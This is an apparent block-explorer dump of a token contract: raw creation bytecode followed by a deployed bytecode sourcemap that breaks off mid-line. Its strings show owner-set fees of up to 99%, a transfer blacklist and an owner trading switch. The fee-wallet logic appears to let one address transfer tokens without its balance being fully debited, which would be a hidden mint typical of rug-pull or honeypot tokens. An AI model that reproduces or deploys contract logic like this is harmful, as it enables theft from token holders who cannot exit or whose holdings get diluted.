b5060065460405160ff90911681526020016101f4565b3480156102d757600080fd5b50600754610252906001600160a01b031681565b3480156102f757600080fd5b50600c5461021d90610100900460ff1681565b34801561031657600080fd5b5061027b600e5481565b34801561032c57600080fd5b50600c5461021d9060ff1681565b34801561034657600080fd5b50600c5461021d9062010000900460ff1681565b34801561036657600080fd5b5061027b6103753660046119f4565b6001600160a01b031660009081526001602052604090205490565b34801561039c57600080fd5b506103a56106a9565b005b3480156103b357600080fd5b5061021d6106e8565b3480156103c857600080fd5b50600854610252906001600160a01b031681565b3480156103e857600080fd5b506103a5610723565b3480156103fd57600080fd5b506000546001600160a01b0316610252565b34801561041b57600080fd5b506101e7610760565b34801561043057600080fd5b506103a561076f565b34801561044557600080fd5b5061021d610454366004611987565b610a2f565b34801561046557600080fd5b506103a5610474366004611a11565b610a3c565b34801561048557600080fd5b5061021d6104943660046119f4565b60126020526000908152604090205460ff1681565b3480156104b557600080fd5b5061027b60095481565b3480156104cb57600080fd5b5061027b600d5481565b3480156104e157600080fd5b5061027b6104f0366004611a33565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561052757600080fd5b5061021d6105363660046119f4565b60116020526000908152604090205460ff1681565b34801561055757600080fd5b5061027b600a5481565b34801561056d57600080fd5b506103a561057c3660046119f4565b610acf565b34801561058d57600080fd5b5061027b600b5481565b6060600480546105a690611a6c565b80601f01602080910402602001604051908101604052809291908181526020018280546105d290611a6c565b801561061f5780601f106105f45761010080835404028352916020019161061f565b820191906000526020600020905b81548152906001019060200180831161060257829003601f168201915b5050505050905090565b6000610636338484610b6a565b5060015b92915050565b600061064d848484610c8e565b61069f843361069a85604051806060016040528060288152602001611c23602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611283565b610b6a565b5060019392505050565b6000546001600160a01b031633146106dc5760405162461bcd60e51b81526004016106d390611aa6565b60405180910390fd5b6106e660006112bd565b565b600080546001600160a01b031633146107135760405162461bcd60e51b81526004016106d390611aa6565b50600c805460ff19169055600190565b6000546001600160a01b0316331461074d5760405162461bcd60e51b81526004016106d390611aa6565b600c805462ffff00191662010100179055565b6060600580546105a690611a6c565b6000546001600160a01b031633146107995760405162461bcd60e51b81526004016106d390611aa6565b600660019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108109190611adb565b6001600160a01b031663c9c6539630600660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610872573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108969190611adb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109079190611adb565b600780546001600160a01b0319166001600160a01b0392831690811782556000908152601160209081526040808320805460ff1990811660019081179092559454861684526012909252909120805490921617905560065460035461097492309261010090041690610b6a565b600654306000818152600160205260409020546101009092046001600160a01b03169163f305d7199147916040516001600160e01b031960e086901b1681526001600160a01b0390921660048301526024820152600060448201819052606482015261dead60848201524260a482015260c40160606040518083038185885af1158015610a05573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a2a9190611af8565b505050565b6000610636338484610c8e565b6000546001600160a01b03163314610a665760405162461bcd60e51b81526004016106d390611aa6565b60638211158015610a78575060638111155b610ac45760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420393925206f72206c65737300000060448201526064016106d3565b600d91909155600e55565b6000546001600160a01b03163314610af95760405162461bcd60e51b81526004016106d390611aa6565b6001600160a01b038116610b5e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d3565b610b67816112bd565b50565b6001600160a01b038316610bcc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d3565b6001600160a01b038216610c2d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d3565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106d3565b6001600160a01b038216610d545760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106d3565b60008111610dba5760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201526c0726561746572207468616e203609c1b60648201526084016106d3565b6001600160a01b0383166000908152600f602052604090205460ff1615610e175760405162461bcd60e51b815260206004820152601160248201527016d99c9bdb5748189b1858dac81b1a5cdd607a1b60448201526064016106d3565b6001600160a01b0382166000908152600f602052604090205460ff1615610e725760405162461bcd60e51b815260206004820152600f60248201526e16dd1bd748189b1858dac81b1a5cdd608a1b60448201526064016106d3565b600c5460ff16156111ba576000546001600160a01b03848116911614801590610ea957506000546001600160a01b03838116911614155b156111ba57600c54610100900460ff16610f41576001600160a01b03831660009081526010602052604090205460ff1680610efc57506001600160a01b03821660009081526010602052604090205460ff165b610f415760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106d3565b6001600160a01b03831660009081526012602052604090205460ff168015610f8257506001600160a01b03821660009081526011602052604090205460ff16155b8015610fa157506006546001600160a01b038381166101009092041614155b1561107f576009548111156110105760405162461bcd60e51b815260206004820152602f60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526e36b0bc2a3930b739b0b1ba34b7b71760891b60648201526084016106d3565b600b546001600160a01b0383166000908152600160205260409020546110369083611b3c565b111561107a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106d3565b6111ba565b6001600160a01b03821660009081526012602052604090205460ff1680156110c057506001600160a01b03831660009081526011602052604090205460ff16155b156111305760095481111561107a5760405162461bcd60e51b815260206004820152603060248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201526f1036b0bc2a3930b739b0b1ba34b7b71760811b60648201526084016106d3565b6001600160a01b03821660009081526011602052604090205460ff166111ba57600b546001600160a01b0383166000908152600160205260409020546111769083611b3c565b11156111ba5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106d3565b600c5462010000900460ff1680156111dc5750600754600160a01b900460ff16155b801561120057506001600160a01b03821660009081526012602052604090205460ff165b801561122557506001600160a01b03831660009081526010602052604090205460ff16155b801561124a57506001600160a01b03821660009081526010602052604090205460ff16155b15611278576007805460ff60a01b1916600160a01b17905561126a61130d565b6007805460ff60a01b191690555b610a2a838383611395565b600081848411156112a75760405162461bcd60e51b81526004016106d39190611924565b5060006112b48486611b4f565b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b30600090815260016020526040902054600a5461132c906107d0611b62565b81111561134557600a54611342906107d0611b62565b90505b600a54811115611358576113588161145d565b6008546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611391573d6000803e3d6000fd5b5050565b6000806113a38585856115da565b6001600160a01b03871660009081526001602052604090205491935091506113cb908361178f565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546113fa90826117d8565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061144e9085815260200190565b60405180910390a35050505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061149257611492611b79565b60200260200101906001600160a01b031690816001600160a01b031681525050600660019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115299190611adb565b8160018151811061153c5761153c611b79565b6001600160a01b03928316602091820292909201015260065461156791309161010090041684610b6a565b60065460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906115a4908590600090869030904290600401611b8f565b600060405180830381600087803b1580156115be57600080fd5b505af11580156115d2573d6000803e3d6000fd5b505050505050565b6001600160a01b0383166000908152601060205260408120548190819060ff168061161d57506001600160a01b03851660009081526010602052604090205460ff165b15905060008115611749576001600160a01b03861660009081526012602052604090205460ff16801561165257506000600e54115b1561167e576116776064611671600e548861183790919063ffffffff16565b906118b9565b90506116ca565b6001600160a01b03871660009081526012602052604090205460ff1680156116a857506000600d54115b156116ca576116c76064611671600d548861183790919063ffffffff16565b90505b801561174457306000908152600160205260409020546116ea90826117d8565b30600081815260016020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061173b9085815260200190565b60405180910390a35b611775565b6008546001600160a01b0390811690881603611775578061176a8187611b4f565b935093505050611787565b846117808282611b4f565b9350935050505b935093915050565b60006117d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611283565b9392505050565b6000806117e58385611b3c565b9050838110156117d15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106d3565b6000826000036118495750600061063a565b60006118558385611b62565b9050826118628583611c00565b146117d15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106d3565b60006117d183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836119175760405162461bcd60e51b81526004016106d39190611924565b5060006112b48486611c00565b600060208083528351808285015260005b8181101561195157858101830151858201604001528201611935565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b6757600080fd5b6000806040838503121561199a57600080fd5b82356119a581611972565b946020939093013593505050565b6000806000606084860312156119c857600080fd5b83356119d381611972565b925060208401356119e381611972565b929592945050506040919091013590565b600060208284031215611a0657600080fd5b81356117d181611972565b60008060408385031215611a2457600080fd5b50508035926020909101359150565b60008060408385031215611a4657600080fd5b8235611a5181611972565b91506020830135611a6181611972565b809150509250929050565b600181811c90821680611a8057607f821691505b602082108103611aa057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611aed57600080fd5b81516117d181611972565b600080600060608486031215611b0d57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8082018082111561063a5761063a611b26565b8181038181111561063a5761063a611b26565b808202811582820484141761063a5761063a611b26565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bdf5784516001600160a01b031683529383019391830191600101611bba565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c1d57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8eff5cf2fa7156ec4595558a4d927d8dfb6a2aa816b5b0f50e77cf4f08c47bd64736f6c63430008130033
Deployed Bytecode Sourcemap
4349:9421:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6166:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7054:186;;;;;;;;;;-1:-1:-1;7054:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7054:186:0;1023:187:1;4729:41:0;;;;;;;;;;-1:-1:-1;4729:41:0;;;;;;;-1:-1:-1;;;;;4729:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;4729:41:0;1215:229:1;6443:100:0;;;;;;;;;;-1:-1:-1;6523:12:0;;6443:100;;;1595:25:1;;;1583:2;1568:18;6443:100:0;1449:177:1;7248:446:0;;;;;;;;;;-1:-1:-1;7248:446:0;;;;;:::i;:::-;;:::i;6352:83::-;;;;;;;;;;-1:-1:-1;6418:9:0;;6352:83;;6418:9;;;;2234:36:1;;2222:2;2207:18;6352:83:0;2092:184:1;4777:28:0;;;;;;;;;;-1:-1:-1;4777:28:0;;;;-1:-1:-1;;;;;4777:28:0;;;5101:34;;;;;;;;;;-1:-1:-1;5101:34:0;;;;;;;;;;;5222:32;;;;;;;;;;;;;;;;5063:31;;;;;;;;;;-1:-1:-1;5063:31:0;;;;;;;;5142;;;;;;;;;;-1:-1:-1;5142:31:0;;;;;;;;;;;6551:119;;;;;;;;;;-1:-1:-1;6551:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6644:18:0;6617:7;6644:18;;;:9;:18;;;;;;;6551:119;926:103;;;;;;;;;;;;;:::i;:::-;;8902:119;;;;;;;;;;;;;:::i;4844:30::-;;;;;;;;;;-1:-1:-1;4844:30:0;;;;-1:-1:-1;;;;;4844:30:0;;;8781:113;;;;;;;;;;;;;:::i;703:87::-;;;;;;;;;;-1:-1:-1;749:7:0;776:6;-1:-1:-1;;;;;776:6:0;703:87;;6257;;;;;;;;;;;;;:::i;8082:691::-;;;;;;;;;;;;;:::i;6678:192::-;;;;;;;;;;-1:-1:-1;6678:192:0;;;;;:::i;:::-;;:::i;9029:227::-;;;;;;;;;;-1:-1:-1;9029:227:0;;;;;:::i;:::-;;:::i;5440:57::-;;;;;;;;;;-1:-1:-1;5440:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4883:56;;;;;;;;;;;;;;;;5182:31;;;;;;;;;;;;;;;;6878:168;;;;;;;;;;-1:-1:-1;6878:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7011:18:0;;;6984:7;7011:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6878:168;5374:57;;;;;;;;;;-1:-1:-1;5374:57:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4946:50;;;;;;;;;;;;;;;;1037:238;;;;;;;;;;-1:-1:-1;1037:238:0;;;;;:::i;:::-;;:::i;5003:51::-;;;;;;;;;;;;;;;;6166:83;6203:13;6236:5;6229:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6166:83;:::o;7054:186::-;7154:4;7171:39;304:10;7194:7;7203:6;7171:8;:39::i;:::-;-1:-1:-1;7228:4:0;7054:186;;;;;:::o;7248:446::-;7380:4;7397:36;7407:6;7415:9;7426:6;7397:9;:36::i;:::-;7444:220;7467:6;304:10;7515:138;7571:6;7515:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7515:19:0;;;;;;:11;:19;;;;;;;;304:10;7515:33;;;;;;;;;;:37;:138::i;:::-;7444:8;:220::i;:::-;-1:-1:-1;7682:4:0;7248:446;;;;;:::o;926:103::-;749:7;776:6;-1:-1:-1;;;;;776:6:0;304:10;838:23;830:68;;;;-1:-1:-1;;;830:68:0;;;;;;;:::i;:::-;;;;;;;;;991:30:::1;1018:1;991:18;:30::i;:::-;926:103::o:0;8902:119::-;8954:4;776:6;;-1:-1:-1;;;;;776:6:0;304:10;838:23;830:68;;;;-1:-1:-1;;;830:68:0;;;;;;;:::i;:::-;-1:-1:-1;8971:12:0::1;:20:::0;;-1:-1:-1;;8971:20:0::1;::::0;;;8902:119;:::o;8781:113::-;749:7;776:6;-1:-1:-1;;;;;776:6:0;304:10;838:23;830:68;;;;-1:-1:-1;;;830:68:0;;;;;;;:::i;:::-;8836:14:::1;:21:::0;;-1:-1:-1;;8868:18:0;;;;;8781:113::o;6257:87::-;6296:13;6329:7;6322:14;;;;;:::i;8082:691::-;749:7;776:6;-1:-1:-1;;;;;776:6:0;304:10;838:23;830:68;;;;-1:-1:-1;;;830:68:0;;;;;;;:::i;:::-;8168:15:::1;;;;;;;;;-1:-1:-1::0;;;;;8168:15:0::1;-1:-1:-1::0;;;;;8168:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8150:55:0::1;;8232:4;8256:15;;;;;;;;;-1:-1:-1::0;;;;;8256:15:0::1;-1:-1:-1::0;;;;;8256:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8150:143;::::0;-1:-1:-1;;;;;;8150:143:0::1;::::0;;;;;;-1:-1:-1;;;;;4619:15:1;;;8150:143:0::1;::::0;::::1;4601:34:1::0;4671:15;;4651:18;;;4644:43;4536:18;;8150:143:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8134:13;:159:::0;;-1:-1:-1;;;;;;8134:159:0::1;-1:-1:-1::0;;;;;8134:159:0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;8306:40:0;;;:25:::1;:40;::::0;;;;;;;:47;;-1:-1:-1;;8306:47:0;;::::1;-1:-1:-1::0;8306:47:0;;::::1;::::0;;;8390:13;;;::::1;8364:40:::0;;:25:::1;:40:::0;;;;;;:47;;;;::::1;;::::0;;8454:15:::1;::::0;8472:12:::1;::::0;8422:63:::1;::::0;8439:4:::1;::::0;8134:159:::1;8454:15:::0;::::1;;::::0;8422:8:::1;:63::i;:::-;8498:15;::::0;8582:4:::1;6617:7:::0;6644:18;;;:9;:18;;;;;;8498:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;8498:15:0::1;::::0;:31:::1;::::0;8537:21:::1;::::0;8498:267:::1;::::0;-1:-1:-1;;;;;;8498:267:0::1;::::0;;;;;;-1:-1:-1;;;;;5057:15:1;;;8498:267:0::1;::::0;::::1;5039:34:1::0;5089:18;;;5082:34;8641:1:0::1;5132:18:1::0;;;5125:34;;;5175:18;;;5168:34;8681:42:0::1;5218:19:1::0;;;5211:44;8739:15:0::1;5271:19:1::0;;;5264:35;4973:19;;8498:267:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8082:691::o:0;6678:192::-;6781:4;6798:42;304:10;6822:9;6833:6;6798:9;:42::i;9029:227::-;749:7;776:6;-1:-1:-1;;;;;776:6:0;304:10;838:23;830:68;;;;-1:-1:-1;;;830:68:0;;;;;;;:::i;:::-;9129:2:::1;9119:6;:12;;:29;;;;;9146:2;9135:7;:13;;9119:29;9111:71;;;::::0;-1:-1:-1;;;9111:71:0;;5823:2:1;9111:71:0::1;::::0;::::1;5805:21:1::0;5862:2;5842:18;;;5835:30;5901:31;5881:18;;;5874:59;5950:18;;9111:71:0::1;5621:353:1::0;9111:71:0::1;9193:12;:21:::0;;;;9225:13:::1;:23:::0;9029:227::o;1037:238::-;749:7;776:6;-1:-1:-1;;;;;776:6:0;304:10;838:23;830:68;;;;-1:-1:-1;;;830:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1140:22:0;::::1;1118:110;;;::::0;-1:-1:-1;;;1118:110:0;;6181:2:1;1118:110:0::1;::::0;::::1;6163:21:1::0;6220:2;6200:18;;;6193:30;6259:34;6239:18;;;6232:62;-1:-1:-1;;;6310:18:1;;;6303:36;6356:19;;1118:110:0::1;5979:402:1::0;1118:110:0::1;1239:28;1258:8;1239:18;:28::i;:::-;1037:238:::0;:::o;7702:335::-;-1:-1:-1;;;;;7795:19:0;;7787:68;;;;-1:-1:-1;;;7787:68:0;;6588:2:1;7787:68:0;;;6570:21:1;6627:2;6607:18;;;6600:30;6666:34;6646:18;;;6639:62;-1:-1:-1;;;6717:18:1;;;6710:34;6761:19;;7787:68:0;6386:400:1;7787:68:0;-1:-1:-1;;;;;7874:21:0;;7866:68;;;;-1:-1:-1;;;7866:68:0;;6993:2:1;7866:68:0;;;6975:21:1;7032:2;7012:18;;;7005:30;7071:34;7051:18;;;7044:62;-1:-1:-1;;;7122:18:1;;;7115:32;7164:19;;7866:68:0;6791:398:1;7866:68:0;-1:-1:-1;;;;;7945:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7997:32;;1595:25:1;;;7997:32:0;;1568:18:1;7997:32:0;;;;;;;7702:335;;;:::o;9264:2260::-;-1:-1:-1;;;;;9353:18:0;;9345:68;;;;-1:-1:-1;;;9345:68:0;;7396:2:1;9345:68:0;;;7378:21:1;7435:2;7415:18;;;7408:30;7474:34;7454:18;;;7447:62;-1:-1:-1;;;7525:18:1;;;7518:35;7570:19;;9345:68:0;7194:401:1;9345:68:0;-1:-1:-1;;;;;9432:16:0;;9424:64;;;;-1:-1:-1;;;9424:64:0;;7802:2:1;9424:64:0;;;7784:21:1;7841:2;7821:18;;;7814:30;7880:34;7860:18;;;7853:62;-1:-1:-1;;;7931:18:1;;;7924:33;7974:19;;9424:64:0;7600:399:1;9424:64:0;9516:1;9507:6;:10;9499:68;;;;-1:-1:-1;;;9499:68:0;;8206:2:1;9499:68:0;;;8188:21:1;8245:2;8225:18;;;8218:30;8284:34;8264:18;;;8257:62;-1:-1:-1;;;8335:18:1;;;8328:43;8388:19;;9499:68:0;8004:409:1;9499:68:0;-1:-1:-1;;;;;9587:18:0;;;;;;:12;:18;;;;;;;;9586:19;9578:49;;;;-1:-1:-1;;;9578:49:0;;8620:2:1;9578:49:0;;;8602:21:1;8659:2;8639:18;;;8632:30;-1:-1:-1;;;8678:18:1;;;8671:47;8735:18;;9578:49:0;8418:341:1;9578:49:0;-1:-1:-1;;;;;9647:16:0;;;;;;:12;:16;;;;;;;;9646:17;9638:45;;;;-1:-1:-1;;;9638:45:0;;8966:2:1;9638:45:0;;;8948:21:1;9005:2;8985:18;;;8978:30;-1:-1:-1;;;9024:18:1;;;9017:45;9079:18;;9638:45:0;8764:339:1;9638:45:0;9700:12;;;;9696:1474;;;749:7;776:6;-1:-1:-1;;;;;9733:15:0;;;776:6;;9733:15;;;;:32;;-1:-1:-1;749:7:0;776:6;-1:-1:-1;;;;;9752:13:0;;;776:6;;9752:13;;9733:32;9729:1430;;;9791:14;;;;;;;9786:224;;-1:-1:-1;;;;;9864:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;9893:23:0;;;;;;:19;:23;;;;;;;;9864:52;9830:160;;;;-1:-1:-1;;;9830:160:0;;9310:2:1;9830:160:0;;;9292:21:1;9349:2;9329:18;;;9322:30;-1:-1:-1;;;9368:18:1;;;9361:52;9430:18;;9830:160:0;9108:346:1;9830:160:0;-1:-1:-1;;;;;10056:31:0;;;;;;:25;:31;;;;;;;;:86;;;;-1:-1:-1;;;;;;10113:29:0;;;;;;:25;:29;;;;;;;;10112:30;10056:86;:141;;;;-1:-1:-1;10181:15:0;;-1:-1:-1;;;;;10167:30:0;;;10181:15;;;;;10167:30;;10056:141;10030:1114;;;10284:14;;10274:6;:24;;10240:157;;;;-1:-1:-1;;;10240:157:0;;9661:2:1;10240:157:0;;;9643:21:1;9700:2;9680:18;;;9673:30;9739:34;9719:18;;;9712:62;-1:-1:-1;;;9790:18:1;;;9783:45;9845:19;;10240:157:0;9459:411:1;10240:157:0;10480:9;;-1:-1:-1;;;;;6644:18:0;;6617:7;6644:18;;;:9;:18;;;;;;10454:22;;:6;:22;:::i;:::-;:35;;10420:140;;;;-1:-1:-1;;;10420:140:0;;10339:2:1;10420:140:0;;;10321:21:1;10378:2;10358:18;;;10351:30;-1:-1:-1;;;10397:18:1;;;10390:49;10456:18;;10420:140:0;10137:343:1;10420:140:0;10030:1114;;;-1:-1:-1;;;;;10612:29:0;;;;;;:25;:29;;;;;;;;:86;;;;-1:-1:-1;;;;;;10667:31:0;;;;;;:25;:31;;;;;;;;10666:32;10612:86;10586:558;;;10785:14;;10775:6;:24;;10741:158;;;;-1:-1:-1;;;10741:158:0;;10687:2:1;10741:158:0;;;10669:21:1;10726:2;10706:18;;;10699:30;10765:34;10745:18;;;10738:62;-1:-1:-1;;;10816:18:1;;;10809:46;10872:19;;10741:158:0;10485:412:1;10586:558:0;-1:-1:-1;;;;;10930:29:0;;;;;;:25;:29;;;;;;;;10925:219;;11044:9;;-1:-1:-1;;;;;6644:18:0;;6617:7;6644:18;;;:9;:18;;;;;;11018:22;;:6;:22;:::i;:::-;:35;;10984:140;;;;-1:-1:-1;;;10984:140:0;;10339:2:1;10984:140:0;;;10321:21:1;10378:2;10358:18;;;10351:30;-1:-1:-1;;;10397:18:1;;;10390:49;10456:18;;10984:140:0;10137:343:1;10984:140:0;11200:11;;;;;;;:37;;;;-1:-1:-1;11229:8:0;;-1:-1:-1;;;11229:8:0;;;;11228:9;11200:37;:83;;;;-1:-1:-1;;;;;;11254:29:0;;;;;;:25;:29;;;;;;;;11200:83;:126;;;;-1:-1:-1;;;;;;11301:25:0;;;;;;:19;:25;;;;;;;;11300:26;11200:126;:167;;;;-1:-1:-1;;;;;;11344:23:0;;;;;;:19;:23;;;;;;;;11343:24;11200:167;11182:295;;;11394:8;:15;;-1:-1:-1;;;;11394:15:0;-1:-1:-1;;;11394:15:0;;;11424:10;:8;:10::i;:::-;11449:8;:16;;-1:-1:-1;;;;11449:16:0;;;11182:295;11489:27;11499:4;11505:2;11509:6;11489:9;:27::i;2643:224::-;2763:7;2799:12;2791:6;;;;2783:29;;;;-1:-1:-1;;;2783:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2823:9:0;2835:5;2839:1;2835;:5;:::i;:::-;2823:17;2643:224;-1:-1:-1;;;;;2643:224:0:o;1283:191::-;1357:16;1376:6;;-1:-1:-1;;;;;1393:17:0;;;-1:-1:-1;;;;;;1393:17:0;;;;;;1426:40;;1376:6;;;;;;;1426:40;;1357:16;1426:40;1346:128;1283:191;:::o;13369:398::-;13452:4;13408:23;6644:18;;;:9;:18;;;;;;13493;;:25;;13514:4;13493:25;:::i;:::-;13475:15;:43;13471:119;;;13553:18;;:25;;13574:4;13553:25;:::i;:::-;13535:43;;13471:119;13624:18;;13606:15;:36;13602:88;;;13657:33;13674:15;13657:16;:33::i;:::-;13711:15;;13703:56;;-1:-1:-1;;;;;13711:15:0;;;;13737:21;13703:56;;;;;13711:15;13703:56;13711:15;13703:56;13737:21;13711:15;13703:56;;;;;;;;;;;;;;;;;;;;;13397:370;13369:398::o;11532:309::-;11614:16;11632;11652:25;11660:4;11666:2;11670:6;11652:7;:25::i;:::-;-1:-1:-1;;;;;11706:15:0;;;;;;:9;:15;;;;;;11613:64;;-1:-1:-1;11613:64:0;-1:-1:-1;11706:29:0;;11613:64;11706:19;:29::i;:::-;-1:-1:-1;;;;;11688:15:0;;;;;;;:9;:15;;;;;;:47;;;;11762:13;;;;;;;:27;;11780:8;11762:17;:27::i;:::-;-1:-1:-1;;;;;11746:13:0;;;;;;;:9;:13;;;;;;;:43;;;;11805:28;;;;;;;;;;11824:8;1595:25:1;;1583:2;1568:18;;1449:177;11805:28:0;;;;;;;;11602:239;;11532:309;;;:::o;12858:503::-;12948:16;;;12962:1;12948:16;;;;;;;;12924:21;;12948:16;;;;;;;;;;-1:-1:-1;12948:16:0;12924:40;;12993:4;12975;12980:1;12975:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;12975:23:0;;;-1:-1:-1;;;;;12975:23:0;;;;;13019:15;;;;;;;;;-1:-1:-1;;;;;13019:15:0;-1:-1:-1;;;;;13019:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13009:4;13014:1;13009:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;13009:32:0;;;:7;;;;;;;;;:32;13086:15;;13054:62;;13071:4;;13086:15;;;;13104:11;13054:8;:62::i;:::-;13129:15;;:224;;-1:-1:-1;;;13129:224:0;;:15;;;;-1:-1:-1;;;;;13129:15:0;;:66;;:224;;13210:11;;13236:1;;13280:4;;13307;;13327:15;;13129:224;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12913:448;12858:503;:::o;11849:886::-;-1:-1:-1;;;;;12006:25:0;;11960:7;12006:25;;;:19;:25;;;;;;11960:7;;;;12006:25;;;:52;;-1:-1:-1;;;;;;12035:23:0;;;;;;:19;:23;;;;;;;;12006:52;12004:55;11989:70;;12072:12;12105:7;12101:584;;;-1:-1:-1;;;;;12133:29:0;;;;;;:25;:29;;;;;;;;:50;;;;;12182:1;12166:13;;:17;12133:50;12129:270;;;12211:34;12241:3;12211:25;12222:13;;12211:6;:10;;:25;;;;:::i;:::-;:29;;:34::i;:::-;12204:41;;12129:270;;;-1:-1:-1;;;;;12271:31:0;;;;;;:25;:31;;;;;;;;:51;;;;;12321:1;12306:12;;:16;12271:51;12267:132;;;12350:33;12379:3;12350:24;12361:12;;12350:6;:10;;:24;;;;:::i;:33::-;12343:40;;12267:132;12419:8;;12415:169;;12493:4;12475:24;;;;:9;